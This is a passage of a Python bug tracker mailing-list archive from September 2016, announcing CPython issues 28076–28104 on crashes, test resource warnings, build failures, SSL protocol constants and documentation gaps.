title: Variable annotations should be mangled for private names
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file44552/mangle-ann.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28076>
_______________________________________

From report at bugs.python.org  Sun Sep 11 10:45:53 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Sun, 11 Sep 2016 14:45:53 +0000
Subject: [New-bugs-announce] [issue28077] Fix find_empty_slot in dictobject
Message-ID: <1473605153.7.0.216174732539.issue28077@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

find_empty_slot will also do *value_addr = &mp->ma_values[-1] if it encounters a split dict.

----------
components: Interpreter Core
files: find_empty_slot.patch
keywords: patch
messages: 275800
nosy: haypo, methane, xiang.zhang
priority: normal
severity: normal
stage: patch review
status: open
title: Fix find_empty_slot in dictobject
type: crash
versions: Python 3.6
Added file: http://bugs.python.org/file44555/find_empty_slot.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28077>
_______________________________________

From report at bugs.python.org  Sun Sep 11 11:47:32 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Sun, 11 Sep 2016 15:47:32 +0000
Subject: [New-bugs-announce] [issue28078] Silence resource warnings in
 test_socket
Message-ID: <1473608852.44.0.362868220522.issue28078@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

test_aead_aes_gcm (test.test_socket.LinuxKernelCryptoAPI) ... /home/angwer/cpython/Lib/unittest/case.py:600: ResourceWarning: unclosed <socket.socket fd=3, family=AddressFamily.AF_ALG, type=SocketKind.SOCK_SEQPACKET, proto=0>
  testMethod()
skipped "('[Errno 2] No such file or directory', 'aead', 'gcm(aes)')"
test_sendmsg_afalg_args (test.test_socket.LinuxKernelCryptoAPI) ... /home/angwer/cpython/Lib/unittest/case.py:600: ResourceWarning: unclosed <socket.socket fd=3, family=AddressFamily.AF_ALG, type=SocketKind.SOCK_SEQPACKET, proto=0>
  testMethod()
ok

Christian, after issue27744, there are 2 resource warnings in test_socket. test_socket.patch eliminates them.

----------
components: Tests
messages: 275803
nosy: christian.heimes, xiang.zhang
priority: normal
severity: normal
stage: patch review
status: open
title: Silence resource warnings in test_socket
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28078>
_______________________________________

From report at bugs.python.org  Sun Sep 11 12:51:29 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Sun, 11 Sep 2016 16:51:29 +0000
Subject: [New-bugs-announce] [issue28079] Update typing and test typing from
 python/typing repo
Message-ID: <1473612689.01.0.590499528745.issue28079@psf.upfronthosting.co.za>


New submission from Ivan Levkivskyi:

Here is the patch for 3.5

----------
files: typing-patch.diff
keywords: patch
messages: 275809
nosy: gvanrossum, levkivskyi
priority: normal
severity: normal
status: open
title: Update typing and test typing from python/typing repo
Added file: http://bugs.python.org/file44558/typing-patch.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28079>
_______________________________________

From report at bugs.python.org  Sun Sep 11 14:23:14 2016
From: report at bugs.python.org (Stephen J. Turnbull)
Date: Sun, 11 Sep 2016 18:23:14 +0000
Subject: [New-bugs-announce] [issue28080] Allow reading member names with
 bogus encodings in zipfile
Message-ID: <1473618194.41.0.115551517279.issue28080@psf.upfronthosting.co.za>


Changes by Stephen J. Turnbull <stephen at xemacs.org>:


----------
components: Library (Lib)
keywords: patch
nosy: sjt
priority: normal
severity: normal
status: open
title: Allow reading member names with bogus encodings in zipfile
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28080>
_______________________________________

From report at bugs.python.org  Sun Sep 11 14:31:09 2016
From: report at bugs.python.org (Ed Schouten)
Date: Sun, 11 Sep 2016 18:31:09 +0000
Subject: [New-bugs-announce] [issue28081] [Patch] timemodule: Complete
 Autoconf bits for clock_*() functions: make clock_getres() and
 clock_settime() optional
Message-ID: <1473618669.04.0.158374043531.issue28081@psf.upfronthosting.co.za>


New submission from Ed Schouten:

Our Autoconf bits already test for the presence of the POSIX 2008 clock_gettime() and clock_getres() functions, which is nice. Still, I'd like to make two improvements there:

1. In timemodule.c, properly guard the use of clock_getres() bits with HAVE_CLOCK_GETRES instead of using HAVE_CLOCK_GETTIME. There don't seem to be any shared functions/structures/etc., so we can safely decouple them.

2. For consistency, also add Autoconf bits for clock_settime(). In timemodule.c, use HAVE_CLOCK_SETTIME as a guard.

The reason why I'm sending in this patch is because CloudABI (https://mail.python.org/pipermail/python-dev/2016-July/145708.html) does provide clock_gettime() and clock_getres(), but not clock_settime(). The reason for this is that CloudABI is meant for running unprivileged/sandboxed code. There is no need to provide an API for adjusting system-wide clocks.

Do note that this patch does not contain any changes to Autoconf generated files.

----------
components: Extension Modules
files: patch-clock_settime
messages: 275827
nosy: EdSchouten
priority: normal
severity: normal
status: open
title: [Patch] timemodule: Complete Autoconf bits for clock_*() functions: make clock_getres() and clock_settime() optional
Added file: http://bugs.python.org/file44563/patch-clock_settime

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28081>
_______________________________________

From report at bugs.python.org  Sun Sep 11 16:29:30 2016
From: report at bugs.python.org (Ethan Furman)
Date: Sun, 11 Sep 2016 20:29:30 +0000
Subject: [New-bugs-announce] [issue28082] re: convert re flags to (much
 friendlier) IntFlag constants
Message-ID: <1473625770.04.0.107359046953.issue28082@psf.upfronthosting.co.za>


New submission from Ethan Furman:

Split from issue23591.

----------
files: issue-re.stoneleaf.02.patch
keywords: patch
messages: 275848
nosy: ethan.furman, serhiy.storchaka
priority: normal
severity: normal
stage: commit review
status: open
title: re: convert re flags to (much friendlier) IntFlag constants
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file44566/issue-re.stoneleaf.02.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28082>
_______________________________________

From report at bugs.python.org  Sun Sep 11 16:34:18 2016
From: report at bugs.python.org (Ethan Furman)
Date: Sun, 11 Sep 2016 20:34:18 +0000
Subject: [New-bugs-announce] [issue28083] socket: finish constant to
 Enum/Flag conversion
Message-ID: <1473626058.57.0.605411268701.issue28083@psf.upfronthosting.co.za>


New submission from Ethan Furman:

Split from issue23591.

Add IntFlag constants for consistency with IntEnum constants.

----------
files: issue-socket.stoneleaf.01.patch
keywords: patch
messages: 275851
nosy: ethan.furman, serhiy.storchaka
priority: normal
severity: normal
stage: commit review
status: open
title: socket: finish constant to Enum/Flag conversion
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file44567/issue-socket.stoneleaf.01.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28083>
_______________________________________

From report at bugs.python.org  Sun Sep 11 17:24:58 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 11 Sep 2016 21:24:58 +0000
Subject: [New-bugs-announce] [issue28084] Fatal Python error:
 Py_EndInterpreter: not the last thread
Message-ID: <1473629098.61.0.533151135265.issue28084@psf.upfronthosting.co.za>


New submission from Christian Heimes:

http://buildbot.python.org/all/builders/AMD64%20FreeBSD%209.x%203.x/builds/4966/steps/test/logs/stdio is failing with a fatal Python error:

0:06:13 [224/405/1] test_threading crashed -- running: test_datetime (162 sec)
Fatal Python error: Py_EndInterpreter: not the last thread

Current thread 0x0000000801807400 (most recent call first):
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/support/__init__.py", line 2450 in run_in_subinterp
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/test_threading.py", line 877 in test_threads_join_2
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/unittest/case.py", line 600 in run
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/unittest/case.py", line 648 in __call__
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/unittest/suite.py", line 122 in run
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/unittest/suite.py", line 84 in __call__
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/unittest/suite.py", line 122 in run
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/unittest/suite.py", line 84 in __call__
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/unittest/suite.py", line 122 in run
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/unittest/suite.py", line 84 in __call__
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/unittest/runner.py", line 176 in run
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/support/__init__.py", line 1815 in _run_suite
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/support/__init__.py", line 1849 in run_unittest
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/runtest.py", line 163 in test_runner
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/runtest.py", line 164 in runtest_inner
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/runtest.py", line 119 in runtest
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/runtest_mp.py", line 71 in run_tests_slave
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/main.py", line 475 in _main
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/main.py", line 468 in main
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/main.py", line 532 in main
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/regrtest.py", line 46 in _main
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/regrtest.py", line 50 in <module>
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/runpy.py", line 85 in _run_code
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/runpy.py", line 193 in _run_module_as_main
Traceback (most recent call last):
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/runpy.py", line 193, in _run_module_as_main
    "__main__", mod_spec)
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/runpy.py", line 85, in _run_code
    exec(code, run_globals)
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/__main__.py", line 2, in <module>
    main()
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/main.py", line 532, in main
    Regrtest().main(tests=tests, **kwargs)
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/main.py", line 468, in main
    self._main(tests, kwargs)
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/main.py", line 490, in _main
    self.run_tests()
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/main.py", line 416, in run_tests
    run_tests_multiprocess(self)
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/runtest_mp.py", line 221, in run_tests_multiprocess
    raise Exception(msg)
Exception: Child error on test_threading: Exit code -6
*** [buildbottest] Error code 1

----------
components: Interpreter Core
messages: 275858
nosy: christian.heimes
priority: normal
severity: normal
status: open
title: Fatal Python error: Py_EndInterpreter: not the last thread
type: crash
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28084>
_______________________________________

From report at bugs.python.org  Sun Sep 11 17:54:39 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 11 Sep 2016 21:54:39 +0000
Subject: [New-bugs-announce] [issue28085] SSL: Add client and server
 protocols for SSLContext
Message-ID: <1473630879.3.0.622304028726.issue28085@psf.upfronthosting.co.za>


New submission from Christian Heimes:

In ticket #28022 and in thread https://mail.python.org/pipermail/python-dev/2016-September/146366.html I discussed two new protocols for SSLContext: PROTOCOL_TLS_CLIENT and PROTOCOL_TLS_SERVER. A SSLContext with PROTOCOL_TLS_CLIENT can only create connections to a server but cannot wrap server sockets. We can use it to have better defaults (e.g. cert validation and hostname verification for client side) and to make it impossible to confuse a server context with a client context. In the long run I'm planning to deprecate all but PROTOCOL_TLS_CLIENT and PROTOCOL_TLS_SERVER.

---
Finally (and this is the biggest) I like to change how the protocols
work. OpenSSL 1.1.0 has deprecated all version specific protocols. Soon
OpenSSL will only support auto-negotiation (formerly known as
PROTOCOL_SSLv23). My patch #26470 added PROTOCOL_TLS as alias for
PROTOCOL_SSLv23. If the last idea is accepted I will remove PROTOCOL_TLS
again. It hasn't been released yet. Instead I'm going to add
PROTOCOL_TLS_CLIENT and PROTOCOL_TLS_SERVER (see
https://www.openssl.org/docs/manmaster/ssl/SSL_CTX_new.html
TLS_server_method(), TLS_client_method()). PROTOCOL_TLS_CLIENT is like
PROTOCOL_SSLv23 but only supports client-side sockets and
PROTOCOL_TLS_SERVER just server-side sockets. In my experience we can't
have a SSLContext with sensible and secure settings for client and
server at the same time. Hostname checking and cert validation is only
sensible for client-side sockets.
---

----------
assignee: christian.heimes
components: Extension Modules
messages: 275862
nosy: christian.heimes
priority: normal
severity: normal
stage: patch review
status: open
title: SSL: Add client and server protocols for SSLContext
type: enhancement
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28085>
_______________________________________

From report at bugs.python.org  Sun Sep 11 18:43:57 2016
From: report at bugs.python.org (Robert Collins)
Date: Sun, 11 Sep 2016 22:43:57 +0000
Subject: [New-bugs-announce] [issue28086] test.test_getargs2.TupleSubclass
 test failure
Message-ID: <1473633837.1.0.634614870367.issue28086@psf.upfronthosting.co.za>


New submission from Robert Collins:

The test.test_getargs2.TupleSubclass test is failing in master. I suspect its a fastcall fallout.

----------
messages: 275879
nosy: rbcollins, serhiy.storchaka
priority: normal
severity: normal
stage: needs patch
status: open
title: test.test_getargs2.TupleSubclass test failure
type: compile error

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28086>
_______________________________________

From report at bugs.python.org  Sun Sep 11 19:36:48 2016
From: report at bugs.python.org (Ennis Massey)
Date: Sun, 11 Sep 2016 23:36:48 +0000
Subject: [New-bugs-announce] [issue28087] Mac OS X poll syscall returns
 prematurely
Message-ID: <1473637008.93.0.918549766701.issue28087@psf.upfronthosting.co.za>


New submission from Ennis Massey:

Upon calling the select.poll objects poll method with no file descriptors registered, it will return an empty list immediately, regardless of the timeout given. This is a problem in the Mac OS X kernels implementation of the poll syscall, but the test can be easily fixed by binding a throwaway socket to the poll objects, and then using the poll method as usual.

Build details are attached

----------
components: Macintosh
files: buildlog.log
messages: 275887
nosy: MicroTransactionsMatterToo, ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: Mac OS X poll syscall returns prematurely
type: compile error
versions: Python 3.6
Added file: http://bugs.python.org/file44569/buildlog.log

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28087>
_______________________________________

From report at bugs.python.org  Sun Sep 11 21:33:02 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Mon, 12 Sep 2016 01:33:02 +0000
Subject: [New-bugs-announce] [issue28088] Document Transport.set_protocol
 and get_protocol
Message-ID: <1473643982.03.0.197585271454.issue28088@psf.upfronthosting.co.za>


Changes by Yury Selivanov <yselivanov at gmail.com>:


----------
components: asyncio
keywords: easy
nosy: gvanrossum, haypo, ned.deily, yselivanov
priority: release blocker
severity: normal
status: open
title: Document Transport.set_protocol and get_protocol
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28088>
_______________________________________

From report at bugs.python.org  Sun Sep 11 21:33:48 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Mon, 12 Sep 2016 01:33:48 +0000
Subject: [New-bugs-announce] [issue28089] Document TCP_NODELAY by default
Message-ID: <1473644028.22.0.582801680902.issue28089@psf.upfronthosting.co.za>


Changes by Yury Selivanov <yselivanov at gmail.com>:


----------
assignee: docs at python
components: Documentation, asyncio
keywords: easy
nosy: docs at python, gvanrossum, haypo, ned.deily, yselivanov
priority: release blocker
severity: normal
stage: needs patch
status: open
title: Document TCP_NODELAY by default
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28089>
_______________________________________

From report at bugs.python.org  Sun Sep 11 21:46:44 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Mon, 12 Sep 2016 01:46:44 +0000
Subject: [New-bugs-announce] [issue28090] Document PEP 530
Message-ID: <1473644804.69.0.489946780529.issue28090@psf.upfronthosting.co.za>


Changes by Yury Selivanov <yselivanov at gmail.com>:


----------
assignee: yselivanov
components: Documentation
nosy: ned.deily, yselivanov
priority: release blocker
severity: normal
stage: needs patch
status: open
title: Document PEP 530
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28090>
_______________________________________

From report at bugs.python.org  Sun Sep 11 21:47:13 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Mon, 12 Sep 2016 01:47:13 +0000
Subject: [New-bugs-announce] [issue28091] Document PEP 525
Message-ID: <1473644833.61.0.564235264443.issue28091@psf.upfronthosting.co.za>


Changes by Yury Selivanov <yselivanov at gmail.com>:


----------
assignee: yselivanov
components: Documentation
nosy: ned.deily, yselivanov
priority: release blocker
severity: normal
stage: needs patch
status: open
title: Document PEP 525
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28091>
_______________________________________

From report at bugs.python.org  Sun Sep 11 23:16:59 2016
From: report at bugs.python.org (Steven D'Aprano)
Date: Mon, 12 Sep 2016 03:16:59 +0000
Subject: [New-bugs-announce] [issue28092] Build failure for 3.6 on Centos
 5.11
Message-ID: <1473650219.02.0.385206047793.issue28092@psf.upfronthosting.co.za>


New submission from Steven D'Aprano:

On Centos 5.11, building fails with:

Python/dtrace_stubs.o: In function `PyDTrace_LINE':
/home/steve/python/python-dev/cpython/Include/pydtrace.h:28: multiple definition of `PyDTrace_LINE'
Python/ceval.o:/home/steve/python/python-dev/cpython/Include/pydtrace.h:28: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_FUNCTION_ENTRY':
/home/steve/python/python-dev/cpython/Include/pydtrace.h:29: multiple definition of `PyDTrace_FUNCTION_ENTRY'
Python/ceval.o:/home/steve/python/python-dev/cpython/Include/pydtrace.h:29: first defined here
 [... many, many more duplicate definitions ...]
collect2: ld returned 1 exit status
make: *** [Programs/_freeze_importlib] Error 1


I've tried the usual `make distclean` and `hg update -C default` tricks, and the error remains.

See also discussion here:

https://mail.python.org/pipermail/python-list/2016-September/713888.html

----------
components: Build
messages: 275935
nosy: ned.deily, steven.daprano
priority: normal
severity: normal
status: open
title: Build failure for 3.6 on Centos 5.11
type: compile error
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28092>
_______________________________________

From report at bugs.python.org  Sun Sep 11 23:34:02 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Mon, 12 Sep 2016 03:34:02 +0000
Subject: [New-bugs-announce] [issue28093] ResourceWarning in test_ssl
Message-ID: <1473651242.99.0.55455406585.issue28093@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

I can consistently product a ResourceWarning when running test_ssl:

./python -m test test_ssl
Run tests sequentially
0:00:00 [1/1] test_ssl
Exception in thread Thread-81:
Traceback (most recent call last):
  File "/home/angwer/cpython/Lib/threading.py", line 916, in _bootstrap_inner
    self.run()
  File "/home/angwer/cpython/Lib/test/test_ssl.py", line 1924, in run
    if not self.wrap_conn():
  File "/home/angwer/cpython/Lib/test/test_ssl.py", line 1869, in wrap_conn
    self.sock, server_side=True)
  File "/home/angwer/cpython/Lib/ssl.py", line 401, in wrap_socket
    _context=self, _session=session)
  File "/home/angwer/cpython/Lib/ssl.py", line 764, in __init__
    raise ValueError("check_hostname requires server_hostname")
ValueError: check_hostname requires server_hostname

/home/angwer/cpython/Lib/threading.py:916: ResourceWarning: unclosed <socket.socket fd=5, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 34271), raddr=('127.0.0.1', 34156)>
  self.run()
1 test OK.

Total duration: 1 sec
Tests result: SUCCESS

----------
components: Tests
messages: 275940
nosy: christian.heimes, xiang.zhang
priority: normal
severity: normal
status: open
title: ResourceWarning in test_ssl
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28093>
_______________________________________

From report at bugs.python.org  Mon Sep 12 00:12:10 2016
From: report at bugs.python.org (Tom Clark)
Date: Mon, 12 Sep 2016 04:12:10 +0000
Subject: [New-bugs-announce] [issue28094] Document behaviour of
 Process.join() in multiprocessing
Message-ID: <1473653530.84.0.163889885928.issue28094@psf.upfronthosting.co.za>


New submission from Tom Clark:

#10673 indicated that the issue should be resolved by clarifying the documentation. The proposed patch is intended to do this.

----------
assignee: docs at python
components: Documentation
files: multiprocessing.patch
keywords: patch
messages: 275943
nosy: docs at python, tclark
priority: normal
severity: normal
status: open
title: Document behaviour of Process.join() in multiprocessing
type: enhancement
versions: Python 3.5, Python 3.6
Added file: http://bugs.python.org/file44584/multiprocessing.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28094>
_______________________________________

From report at bugs.python.org  Mon Sep 12 00:14:30 2016
From: report at bugs.python.org (Ned Deily)
Date: Mon, 12 Sep 2016 04:14:30 +0000
Subject: [New-bugs-announce] [issue28095] test_startup_imports of test_site
 fails on OS X due to new import of enum in re
Message-ID: <1473653670.12.0.946485115884.issue28095@psf.upfronthosting.co.za>


New submission from Ned Deily:

Issue28082, for 3.6.0b1, modified the re module to use enum.IntFlag.  As described in Issue19325, on interpreter startup site.py imports sysconfig which, on OS X, imports _osx_support which imports, among other things, re.  Now that re imports enum, a number of collections modules are also imported at startup on OS X which can have a negative performance impact.  test_startup_imports of test_site was designed to catch situations like this ... and does.

For 3.6.0b1, I'm going to skip the failing part of the test on OS X only.  For 3.6.0b2, I'll plan to revive languishing Issue19325 to at least try to remove the usage of re and then re-enable the skipped test.

----------
assignee: ned.deily
components: Macintosh
messages: 275945
nosy: ned.deily, ronaldoussoren
priority: deferred blocker
severity: normal
stage: needs patch
status: open
title: test_startup_imports of test_site fails on OS X due to new import of enum in re
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28095>
_______________________________________

From report at bugs.python.org  Mon Sep 12 02:34:57 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 12 Sep 2016 06:34:57 +0000
Subject: [New-bugs-announce] [issue28096] set.difference() is not
 interruptible
Message-ID: <1473662097.22.0.410183784221.issue28096@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

>>> from itertools import count
>>> set.difference({0}, count())

This hangs and can't be interrupted by Ctrl-C.

----------
components: Interpreter Core
messages: 275977
nosy: rhettinger, serhiy.storchaka
priority: normal
severity: normal
status: open
title: set.difference() is not interruptible
type: behavior
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28096>
_______________________________________

From report at bugs.python.org  Mon Sep 12 03:03:30 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 12 Sep 2016 07:03:30 +0000
Subject: [New-bugs-announce] [issue28097] IDLE: document all key bindings,
 add menu items for more.
Message-ID: <1473663810.99.0.66873909958.issue28097@psf.upfronthosting.co.za>


New submission from Terry J. Reedy:

(Follow-up to #15308, which added ^C Interrupt Execution to doc and Shell menu, and to #27120, which proposed to add ^/ Toggle Highlighting, until I realized that that should be part of #6858, about highlighting non-.py files.)

Every IDLE function should be documented.  More should be on menu.  Perhaps add Move/delete menus for cursor movement and directional deletion, if not a diagram.

Another idea.  A searchable current key binding list, possible sortable by key as well as function.  It should include fixed builtin bindings as well as extension bindings.  See #27120 for motivation.

Side issue 1: Menu entries for extensions do not reflect customization (? verify, from Roger).

Side issue 2: Menus need to be tested.

----------
assignee: terry.reedy
components: IDLE
messages: 275980
nosy: terry.reedy
priority: normal
severity: normal
stage: needs patch
status: open
title: IDLE: document all key bindings, add menu items for more.
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28097>
_______________________________________

From report at bugs.python.org  Mon Sep 12 03:59:33 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Mon, 12 Sep 2016 07:59:33 +0000
Subject: [New-bugs-announce] [issue28098] sys.getsizeof(0) is incorrect
Message-ID: <1473667173.5.0.153508183676.issue28098@psf.upfronthosting.co.za>


New submission from Mark Dickinson:

Low-priority issue, possibly not worth fixing at all, but maybe worth recording.

sys.getsizeof(0) currently reports 24 on a 64-bit machine using 30-bit limbs. That's inaccurate, since we're actually allocating 28 bytes for 0 as part of the small-int cache. PyLong_FromLong also always requests at least one limb.

----------
assignee: mark.dickinson
components: Interpreter Core
messages: 275987
nosy: mark.dickinson
priority: low
severity: normal
stage: needs patch
status: open
title: sys.getsizeof(0) is incorrect
type: behavior
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28098>
_______________________________________

From report at bugs.python.org  Mon Sep 12 06:51:41 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 12 Sep 2016 10:51:41 +0000
Subject: [New-bugs-announce] [issue28099] Drop Mac OS X Tiger support in
 Python 3.6
Message-ID: <1473677501.77.0.96699360086.issue28099@psf.upfronthosting.co.za>


New submission from STINNER Victor:

Mac OS X Tiger was released in 2004: 12 years ago, 3 years after Windows XP.

The Tiger buildbot has many issues, it uses an old compiler (GCC 4.0) and an old OpenSSL version.

Python 3.6 now requires ISO C99 support, whereas Tiger GCC 4.0 lacks support for C99 "extern inline" functions: issue #28092.

I propose to officially stop supporting Mac OS X Tiger in Python 3.6: modify the PEP 11 and What's New in Python 3.6 to announce the end of the support. Python 3.5 would be the last version supporting Tiger.

----------
messages: 276019
nosy: haypo, ned.deily
priority: normal
severity: normal
status: open
title: Drop Mac OS X Tiger support in Python 3.6
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28099>
_______________________________________

From report at bugs.python.org  Mon Sep 12 07:43:04 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Mon, 12 Sep 2016 11:43:04 +0000
Subject: [New-bugs-announce] [issue28100] Refactor error messages in
 symtable.c
Message-ID: <1473680584.21.0.216530190248.issue28100@psf.upfronthosting.co.za>


New submission from Ivan Levkivskyi:

Patch with added comment and a minor refactoring to error messages in symtable.c

Now the error message is simply always overwritten by any more "severe" SyntaxError found in the same block.

----------
components: Interpreter Core
files: refactor-error-msg.diff
keywords: patch
messages: 276024
nosy: christian.heimes, levkivskyi
priority: normal
severity: normal
status: open
title: Refactor error messages in symtable.c
versions: Python 3.6
Added file: http://bugs.python.org/file44592/refactor-error-msg.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28100>
_______________________________________

From report at bugs.python.org  Mon Sep 12 10:19:42 2016
From: report at bugs.python.org (Christian Sarazin)
Date: Mon, 12 Sep 2016 14:19:42 +0000
Subject: [New-bugs-announce] [issue28101] Add utf-8 alias to aliases.py
 dictionary
Message-ID: <1473689982.13.0.44705267117.issue28101@psf.upfronthosting.co.za>


New submission from Christian Sarazin:

The utf-8 alias should be added to the utf_8 codec block inside aliases.py


Thx

Cheers
Christian

----------
components: email
messages: 276052
nosy: Christian Sarazin, barry, r.david.murray
priority: normal
severity: normal
status: open
title: Add utf-8 alias to aliases.py dictionary
type: behavior
versions: Python 2.7, Python 3.3, Python 3.4, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28101>
_______________________________________

From report at bugs.python.org  Mon Sep 12 11:33:28 2016
From: report at bugs.python.org (Stephen J. Turnbull)
Date: Mon, 12 Sep 2016 15:33:28 +0000
Subject: [New-bugs-announce] [issue28102] zipfile.py script should print
 usage to stderr
Message-ID: <1473694408.4.0.763789428909.issue28102@psf.upfronthosting.co.za>


New submission from Stephen J. Turnbull:

Pointed out by Serhiy Storchaka in a different context.

----------
components: Library (Lib)
files: zipfile-errmsg
keywords: patch
messages: 276056
nosy: sjt
priority: normal
severity: normal
status: open
title: zipfile.py script should print usage to stderr
versions: Python 3.7
Added file: http://bugs.python.org/file44594/zipfile-errmsg

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28102>
_______________________________________

From report at bugs.python.org  Mon Sep 12 11:37:19 2016
From: report at bugs.python.org (Stephen J. Turnbull)
Date: Mon, 12 Sep 2016 15:37:19 +0000
Subject: [New-bugs-announce] [issue28103] Style fix in zipfile.rst
Message-ID: <1473694639.54.0.408781099961.issue28103@psf.upfronthosting.co.za>


New submission from Stephen J. Turnbull:

Makes style of references to open modes 'r', 'a', ... more consistent.

CA pending (I have received PDF, but no star in tracker yet).

----------
assignee: docs at python
components: Documentation
files: zipfile-doc-style
messages: 276058
nosy: docs at python, sjt
priority: normal
severity: normal
status: open
title: Style fix in zipfile.rst
versions: Python 3.7
Added file: http://bugs.python.org/file44595/zipfile-doc-style

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28103>
_______________________________________

From report at bugs.python.org  Mon Sep 12 13:07:31 2016
From: report at bugs.python.org (Nathan Marrow)
Date: Mon, 12 Sep 2016 17:07:31 +0000
Subject: [New-bugs-announce] [issue28104] Set documentation is incorrect
Message-ID: <1473700051.49.0.516497540366.issue28104@psf.upfronthosting.co.za>


New submission from Nathan Marrow:

